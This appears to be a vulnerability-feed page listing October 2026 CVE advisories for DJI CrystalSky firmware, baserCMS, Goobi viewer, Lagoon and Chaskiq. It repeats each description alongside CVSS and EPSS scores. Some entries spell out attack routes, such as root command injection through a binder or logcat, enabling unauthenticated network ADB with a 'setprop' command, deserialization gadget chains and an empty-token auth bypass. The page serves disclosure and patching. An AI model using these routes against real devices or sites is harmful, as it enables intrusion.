Missing authorization in the native binder service 'android.dji.server' (transaction code 1018) in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local application with no permissions to execute arbitrary OS commands as root, because the handler passes a caller-supplied string to system() in the root-privileged 'assistant' daemon without any caller-identity or permission check.
CVSS 8.6 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114354).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114354&date=2026-10-25).
Sources:
NVD CVE-2026-114354: https://nvd.nist.gov/vuln/detail/CVE-2026-114354
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114354&date=2026-10-25
Missing authorization in the native binder service 'android.dji.server' (transaction code 1018) in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local application with no permissions to execute arbitrary OS commands as root, because the handler passes a caller-supplied string to system() in the root-privileged 'assistant' daemon without any caller-identity or permission check.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OS command injection in the root-privileged 'hardware_monitor' helper in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local unprivileged process to...
https://kevwire.com/record/CVE-2026-114355
OS command injection in the root-privileged 'hardware_monitor' helper in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local unprivileged process to... (Oct 23, 2026).
OS command injection in the root-privileged 'hardware_monitor' helper in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local unprivileged process to execute arbitrary commands as root by writing a crafted line to the Android log (logcat), which the helper reads and passes to a shell eval.
CVSS 8.6 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114355).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114355&date=2026-10-25).
Sources:
NVD CVE-2026-114355: https://nvd.nist.gov/vuln/detail/CVE-2026-114355
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114355&date=2026-10-25
OS command injection in the root-privileged 'hardware_monitor' helper in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local unprivileged process to execute arbitrary commands as root by writing a crafted line to the Android log (logcat), which the helper reads and passes to a shell eval.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authorization in the system-privileged 'DJIUpdateService' binder in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local application with no...
https://kevwire.com/record/CVE-2026-114356
Missing authorization in the system-privileged 'DJIUpdateService' binder in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local application with no... (Oct 23, 2026).
Missing authorization in the system-privileged 'DJIUpdateService' binder in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local application with no permissions to invoke privileged operations, including factory reset with user-data wipe (transaction 153), shutdown (105), clock/timezone change (101/123), and the firmware-apply hand-off (151), because onTransact() performs no caller-identity or permission check.
CVSS 7.0 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114356).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114356&date=2026-10-25).
Sources:
NVD CVE-2026-114356: https://nvd.nist.gov/vuln/detail/CVE-2026-114356
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114356&date=2026-10-25
Missing authorization in the system-privileged 'DJIUpdateService' binder in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 on Android allows a local application with no permissions to invoke privileged operations, including factory reset with user-data wipe (transaction 153), shutdown (105), clock/timezone change (101/123), and the firmware-apply hand-off (151), because onTransact() performs no caller-identity or permission check.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing authentication for a critical function in the Android Debug Bridge daemon (adbd) in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 allows an attacker to obtain...
https://kevwire.com/record/CVE-2026-114357
Missing authentication for a critical function in the Android Debug Bridge daemon (adbd) in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 allows an attacker to obtain... (Oct 23, 2026).
Missing authentication for a critical function in the Android Debug Bridge daemon (adbd) in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 allows an attacker to obtain an unauthenticated shell (uid 2000), a foothold for privilege escalation to root. The device ships with ro.adb.secure=0 (no host key authorization) and USB ADB enabled by default; ADB over TCP is not enabled by default but, once enabled (e.g. via the shipped /system/bin/adbd_tcp.sh or 'setprop persist.adb.tcp.port 5555'), the same unauthenticated shell is reachable over the network (CVSS 4.0 base 9.3).
CVSS 9.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114357).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114357&date=2026-10-25).
Sources:
NVD CVE-2026-114357: https://nvd.nist.gov/vuln/detail/CVE-2026-114357
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114357&date=2026-10-25
Missing authentication for a critical function in the Android Debug Bridge daemon (adbd) in DJI CrystalSky ZS600C firmware v0.3.9.7 through v0.6.6.9 allows an attacker to obtain an unauthenticated shell (uid 2000), a foothold for privilege escalation to root. The device ships with ro.adb.secure=0 (no host key authorization) and USB ADB enabled by default; ADB over TCP is not enabled by default but, once enabled (e.g. via the shipped /system/bin/adbd_tcp.sh or 'setprop persist.adb.tcp.port 5555'), the same unauthenticated shell is reachable over the network (CVSS 4.0 base 9.3).

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### baserCMS is a website development framework.
https://kevwire.com/record/CVE-2026-114621
baserCMS is a website development framework. (Oct 23, 2026).
baserCMS is a website development framework. In versions 5.0.0 before 5.3.2 and 5.4.0 before 5.4.2, list and detail actions in the Admin and Api/Admin prefixes pass request query parameters, including contain, conditions, fields, finder, and order, directly to the ORM as options. A user able to log into the admin panel can embed SQL fragments in those options to execute arbitrary SQL against the application's database, including reading password hashes from the users table. Public-page and public-API fixes released in 5.3.1 and 5.4.1 did not protect these administrative paths. Setting USE_CORE_ADMIN_API to false does not prevent access through an authenticated browser session. This issue has been patched in versions 5.3.2 and 5.4.2.
CVSS 8.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114621).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114621&date=2026-10-25).
Sources:
NVD CVE-2026-114621: https://nvd.nist.gov/vuln/detail/CVE-2026-114621
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114621&date=2026-10-25
baserCMS is a website development framework. In versions 5.0.0 before 5.3.2 and 5.4.0 before 5.4.2, list and detail actions in the Admin and Api/Admin prefixes pass request query parameters, including contain, conditions, fields, finder, and order, directly to the ORM as options. A user able to log into the admin panel can embed SQL fragments in those options to execute arbitrary SQL against the application's database, including reading password hashes from the users table. Public-page and public-API fixes released in 5.3.1 and 5.4.1 did not protect these administrative paths. Setting USE_CORE_ADMIN_API to false does not prevent access through an authenticated browser session. This issue has been patched in versions 5.3.2 and 5.4.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### baserCMS is a website development framework.
https://kevwire.com/record/CVE-2026-114622
baserCMS is a website development framework. (Oct 23, 2026).
baserCMS is a website development framework. In versions 5.2.3 before 5.3.2 and 5.4.0 before 5.4.2, the optional BcThemeFile plugin's Admin API validates a raw path in ThemeFilesService::update() and getFullpath(), but ThemeFileForm::_execute() subsequently applies rawurldecode() to fullpath before writing. Because normalizePath() resolves only literal dot segments, percent-encoded traversal can pass the containment checks and become a path outside the theme directory at the write sink. An authenticated administrator can write PHP files into writable locations such as webroot and execute them, exceeding the intended theme-template editing boundary. The source also identifies the same check-before-decode ordering in ThemeFilesService::copy(), although that path was not dynamically verified. Exploitation requires the non-default plugin, an administrator session, and a same-origin Origin header; USE_CORE_ADMIN_API=false does not block session-authenticated requests. The Admin web form is not affected by this encoded-path tampering because FormProtection protects fullpath. This is a third bypass of the protections associated with CVE-2026-30940, using encoded traversal decoded after validation. This issue has been patched in versions 5.3.2 and 5.4.2.
CVSS 7.2 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114622).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114622&date=2026-10-25).
Sources:
NVD CVE-2026-114622: https://nvd.nist.gov/vuln/detail/CVE-2026-114622
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114622&date=2026-10-25
baserCMS is a website development framework. In versions 5.2.3 before 5.3.2 and 5.4.0 before 5.4.2, the optional BcThemeFile plugin's Admin API validates a raw path in ThemeFilesService::update() and getFullpath(), but ThemeFileForm::_execute() subsequently applies rawurldecode() to fullpath before writing. Because normalizePath() resolves only literal dot segments, percent-encoded traversal can pass the containment checks and become a path outside the theme directory at the write sink. An authenticated administrator can write PHP files into writable locations such as webroot and execute them, exceeding the intended theme-template editing boundary. The source also identifies the same check-before-decode ordering in ThemeFilesService::copy(), although that path was not dynamically verified. Exploitation requires the non-default plugin, an administrator session, and a same-origin Origin header; USE_CORE_ADMIN_API=false does not block session-authenticated requests. The Admin web form is not affected by this encoded-path tampering because FormProtection protects fullpath. This is a third bypass of the protections associated with CVE-2026-30940, using encoded traversal decoded after validation. This issue has been patched in versions 5.3.2 and 5.4.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### baserCMS is a website development framework.
https://kevwire.com/record/CVE-2026-114624
baserCMS is a website development framework. (Oct 23, 2026).
baserCMS is a website development framework. In versions 5.0.0 before 5.3.2 and 5.4.0 before 5.4.2, the widget-area entity serializes widgets only when the submitted value is an array, allowing a string submitted through the admin JSON API to be stored unchanged. Entity reads, including front-end rendering and API responses, deserialize the stored value with unserialize() without an allowed_classes restriction, accepting both raw and base64-encoded serialized data. An administrator, or an attacker who obtains widget-write capability through a separate vulnerability such as chained XSS, can plant an object graph that subsequently triggers on unauthenticated page requests. Two demonstrated gadget chains in the default dependency set use composer/composer ProcessExecutor::startJob() with Process::fromShellCommandline(), or logiscape/mcp-sdk-php StdioTransport::connect() with StdioServerParameters, to reach proc_open() and execute commands as the web-server user. Deserialization bypasses constructor-based readonly safeguards, and the stored payload can execute repeatedly until the database row is repaired. Unauthenticated page access is a trigger after privileged payload storage, not an unauthenticated means of initially planting the payload. This issue has been patched in versions 5.3.2 and 5.4.2.
CVSS 7.2 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114624).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114624&date=2026-10-25).
Sources:
NVD CVE-2026-114624: https://nvd.nist.gov/vuln/detail/CVE-2026-114624
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114624&date=2026-10-25
baserCMS is a website development framework. In versions 5.0.0 before 5.3.2 and 5.4.0 before 5.4.2, the widget-area entity serializes widgets only when the submitted value is an array, allowing a string submitted through the admin JSON API to be stored unchanged. Entity reads, including front-end rendering and API responses, deserialize the stored value with unserialize() without an allowed_classes restriction, accepting both raw and base64-encoded serialized data. An administrator, or an attacker who obtains widget-write capability through a separate vulnerability such as chained XSS, can plant an object graph that subsequently triggers on unauthenticated page requests. Two demonstrated gadget chains in the default dependency set use composer/composer ProcessExecutor::startJob() with Process::fromShellCommandline(), or logiscape/mcp-sdk-php StdioTransport::connect() with StdioServerParameters, to reach proc_open() and execute commands as the web-server user. Deserialization bypasses constructor-based readonly safeguards, and the stored payload can execute repeatedly until the database row is repaired. Unauthenticated page access is a trigger after privileged payload storage, not an unauthenticated means of initially planting the payload. This issue has been patched in versions 5.3.2 and 5.4.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### baserCMS is a website development framework.
https://kevwire.com/record/CVE-2026-115457
baserCMS is a website development framework. (Oct 23, 2026).
baserCMS is a website development framework. In versions 5.0.0 before 5.3.2 and 5.4.0 before 5.4.2, global shortcode expansion runs over the complete rendered page, including HTML-escaped blog comments supplied by unauthenticated visitors. A comment containing the BcBaser.getGoogleMaps shortcode can set apiBaseUrl to an attacker-controlled script URL, which is emitted as a script src and executes JavaScript on the site's origin when another visitor or administrator opens the article displaying that comment. Escaping raw HTML in comments does not prevent this stored cross-site scripting because shortcode processing happens after HTML rendering. Other registered shortcodes also expand in comments; Mail.getForm can embed a working contact form with a valid CSRF token. The flaw can compromise the authenticated browser context of an administrator who views the affected article. This issue has been patched in versions 5.3.2 and 5.4.2.
CVSS 7.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115457).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115457&date=2026-10-25).
Sources:
NVD CVE-2026-115457: https://nvd.nist.gov/vuln/detail/CVE-2026-115457
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115457&date=2026-10-25
baserCMS is a website development framework. In versions 5.0.0 before 5.3.2 and 5.4.0 before 5.4.2, global shortcode expansion runs over the complete rendered page, including HTML-escaped blog comments supplied by unauthenticated visitors. A comment containing the BcBaser.getGoogleMaps shortcode can set apiBaseUrl to an attacker-controlled script URL, which is emitted as a script src and executes JavaScript on the site's origin when another visitor or administrator opens the article displaying that comment. Escaping raw HTML in comments does not prevent this stored cross-site scripting because shortcode processing happens after HTML rendering. Other registered shortcodes also expand in comments; Mail.getForm can embed a working contact form with a valid CSRF token. The flaw can compromise the authenticated browser context of an administrator who views the affected article. This issue has been patched in versions 5.3.2 and 5.4.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### baserCMS is a website development framework.
https://kevwire.com/record/CVE-2026-115481
baserCMS is a website development framework. (Oct 23, 2026).
baserCMS is a website development framework. Starting in version 5.0.0-beta1 and prior to versions 5.3.2 and 5.4.2, `PermissionGroupsService::build()` reads a plugin's `config/permission.php` to decide what each user group may reach. When that file is absent it writes a wildcard allow rule instead: `url` `/baser/<prefix>/<plugin>/*`, `method` `*`, `auth` true, for every non-admin group. BcCustomContent has no such file in any release. After an administrator installs it, the default `operators` group can store and execute arbitrary PHP under the document root. Versions 5.3.2 and 5.4.2 patch the issue.
CVSS 8.5 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115481).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115481&date=2026-10-25).
Sources:
NVD CVE-2026-115481: https://nvd.nist.gov/vuln/detail/CVE-2026-115481
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115481&date=2026-10-25
baserCMS is a website development framework. Starting in version 5.0.0-beta1 and prior to versions 5.3.2 and 5.4.2, `PermissionGroupsService::build()` reads a plugin's `config/permission.php` to decide what each user group may reach. When that file is absent it writes a wildcard allow rule instead: `url` `/baser/<prefix>/<plugin>/*`, `method` `*`, `auth` true, for every non-admin group. BcCustomContent has no such file in any release. After an administrator installs it, the default `operators` group can store and execute arbitrary PHP under the document root. Versions 5.3.2 and 5.4.2 patch the issue.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Goobi viewer is a web application that allows digitised material to be displayed in a web browser.
https://kevwire.com/record/CVE-2026-46651
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. (Oct 23, 2026).
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 24.03 to before version 26.05, the DownloadTaskEndpoint WebSocket endpoint (/tasks/download/monitor.socket) in goobi-viewer-core accepts download requests from unauthenticated users. This issue has been patched in version 26.05.
CVSS 9.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46651).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-46651&date=2026-10-25).
Sources:
NVD CVE-2026-46651: https://nvd.nist.gov/vuln/detail/CVE-2026-46651
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-46651&date=2026-10-25
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 24.03 to before version 26.05, the DownloadTaskEndpoint WebSocket endpoint (/tasks/download/monitor.socket) in goobi-viewer-core accepts download requests from unauthenticated users. This issue has been patched in version 26.05.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Goobi viewer is a web application that allows digitised material to be displayed in a web browser.
https://kevwire.com/record/CVE-2026-46652
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. (Oct 23, 2026).
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 24.03 to before version 26.05, ExternalFilesDownloader.getFilename() extracts the destination filename from a server-supplied Content-Disposition response header and passes it directly to Path.resolve() without stripping directory components. This allows for a malicious HTTP server that the viewer fetches from to supply an absolute path or ../ traversal sequences as the filename, writing attacker-controlled content to an arbitrary path writable by the Tomcat process. When targeting the deployed web-application directory, this yields remote code execution as the tomcat OS user. This issue has been patched in version 26.05.
CVSS 9.8 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-46652).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-46652&date=2026-10-25).
Sources:
NVD CVE-2026-46652: https://nvd.nist.gov/vuln/detail/CVE-2026-46652
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-46652&date=2026-10-25
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 24.03 to before version 26.05, ExternalFilesDownloader.getFilename() extracts the destination filename from a server-supplied Content-Disposition response header and passes it directly to Path.resolve() without stripping directory components. This allows for a malicious HTTP server that the viewer fetches from to supply an absolute path or ../ traversal sequences as the filename, writing attacker-controlled content to an arbitrary path writable by the Tomcat process. When targeting the deployed web-application directory, this yields remote code execution as the tomcat OS user. This issue has been patched in version 26.05.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Goobi viewer is a web application that allows digitised material to be displayed in a web browser.
https://kevwire.com/record/CVE-2026-55457
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. (Oct 23, 2026).
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. Prior to version 26.05, Configuration.getWebApiToken returns the empty string when webapi.authorization.token is not configured. AuthorizationFilter compares the supplied token against this default without first checking that the configured token is non-empty. A request to any @AuthorizationBinding-protected endpoint with an empty ?token= value is therefore accepted. This issue has been patched in version 26.05.
CVSS 7.4 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55457).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55457&date=2026-10-25).
Sources:
NVD CVE-2026-55457: https://nvd.nist.gov/vuln/detail/CVE-2026-55457
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55457&date=2026-10-25
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. Prior to version 26.05, Configuration.getWebApiToken returns the empty string when webapi.authorization.token is not configured. AuthorizationFilter compares the supplied token against this default without first checking that the configured token is non-empty. A request to any @AuthorizationBinding-protected endpoint with an empty ?token= value is therefore accepted. This issue has been patched in version 26.05.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Goobi viewer is a web application that allows digitised material to be displayed in a web browser.
https://kevwire.com/record/CVE-2026-55459
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. (Oct 23, 2026).
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 25.01 to before version 26.05, AuthenticationEndpoint.verifyOpenIdToken builds its verifier as JWT.require(algorithm).withIssuer(issuer).build() and does not enforce the aud claim during cryptographic validation. The aud check is performed manually afterwards via a single string-equality call, which only handles single-string aud values. In a multi-RP IdP setup, a token whose single-string aud matches the viewer's client ID but was issued for a different relying party passes the check and authenticates the attacker as the token's sub. This issue has been patched in version 26.05.
CVSS 7.4 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55459).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55459&date=2026-10-25).
Sources:
NVD CVE-2026-55459: https://nvd.nist.gov/vuln/detail/CVE-2026-55459
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55459&date=2026-10-25
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 25.01 to before version 26.05, AuthenticationEndpoint.verifyOpenIdToken builds its verifier as JWT.require(algorithm).withIssuer(issuer).build() and does not enforce the aud claim during cryptographic validation. The aud check is performed manually afterwards via a single string-equality call, which only handles single-string aud values. In a multi-RP IdP setup, a token whose single-string aud matches the viewer's client ID but was issued for a different relying party passes the check and authenticates the attacker as the token's sub. This issue has been patched in version 26.05.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Goobi viewer is a web application that allows digitised material to be displayed in a web browser.
https://kevwire.com/record/CVE-2026-55486
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. (Oct 23, 2026).
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 25.08 to before version 26.05, the IIIF Auth 2.0 endpoints auth/login and auth/token in AuthorizationFlowResource accept an origin query parameter without validation and then (1) embed it into the Content-Security-Policy: frame-ancestors response header and (2) embed it into an HTML response body as a JavaScript single-quoted postMessage argument. Because the attacker controls both the login and token calls that initiate the flow, the unescaped value yields reflected XSS. This issue has been patched in version 26.05.
CVSS 9.3 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55486).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55486&date=2026-10-25).
Sources:
NVD CVE-2026-55486: https://nvd.nist.gov/vuln/detail/CVE-2026-55486
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55486&date=2026-10-25
The Goobi viewer is a web application that allows digitised material to be displayed in a web browser. From version 25.08 to before version 26.05, the IIIF Auth 2.0 endpoints auth/login and auth/token in AuthorizationFlowResource accept an origin query parameter without validation and then (1) embed it into the Content-Security-Policy: frame-ancestors response header and (2) embed it into an HTML response body as a JavaScript single-quoted postMessage argument. Because the attacker controls both the login and token calls that initiate the flow, the unescaped value yields reflected XSS. This issue has been patched in version 26.05.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lagoon is an application delivery platform for Kubernetes.
https://kevwire.com/record/CVE-2026-113788
Lagoon is an application delivery platform for Kubernetes. (Oct 21, 2026).
Lagoon is an application delivery platform for Kubernetes. Versions prior to 2.33.1 have a vulnerability in the `ssh` service in Lagoon core that would allow an attacker to execute arbitrary code which could lead to, among other things, elevated administrative permissions. It is mitigated by the fact that an attacker must have a Lagoon user account. Exploitation may be detected by checking the container logs of the `ssh` service for: `too many arguments`. The vulnerability was fixed in Lagoon v2.33.2, which is included in the `lagoon/lagoon-core` helm chart v1.62.2. As a workaround, the `ssh` service in Lagoon core can be disabled. The `ssh-portal` service and components are not effected and can continue to be used.
CVSS 9.4 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113788).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113788&date=2026-10-25).
Sources:
NVD CVE-2026-113788: https://nvd.nist.gov/vuln/detail/CVE-2026-113788
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113788&date=2026-10-25
Lagoon is an application delivery platform for Kubernetes. Versions prior to 2.33.1 have a vulnerability in the `ssh` service in Lagoon core that would allow an attacker to execute arbitrary code which could lead to, among other things, elevated administrative permissions. It is mitigated by the fact that an attacker must have a Lagoon user account. Exploitation may be detected by checking the container logs of the `ssh` service for: `too many arguments`. The vulnerability was fixed in Lagoon v2.33.2, which is included in the `lagoon/lagoon-core` helm chart v1.62.2. As a workaround, the `ssh` service in Lagoon core can be disabled. The `ssh-portal` service and components are not effected and can continue to be used.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Chaskiq through 2.0.3 contains a server-side request forgery vulnerability that allows unauthenticated attackers to fetch arbitrary URLs via the createUrlUpload GraphQL mutation.
https://kevwire.com/record/CVE-2026-111663
Chaskiq through 2.0.3 contains a server-side request forgery vulnerability that allows unauthenticated attackers to fetch arbitrary URLs via the createUrlUpload GraphQL mutation. (Oct 16, 2026).
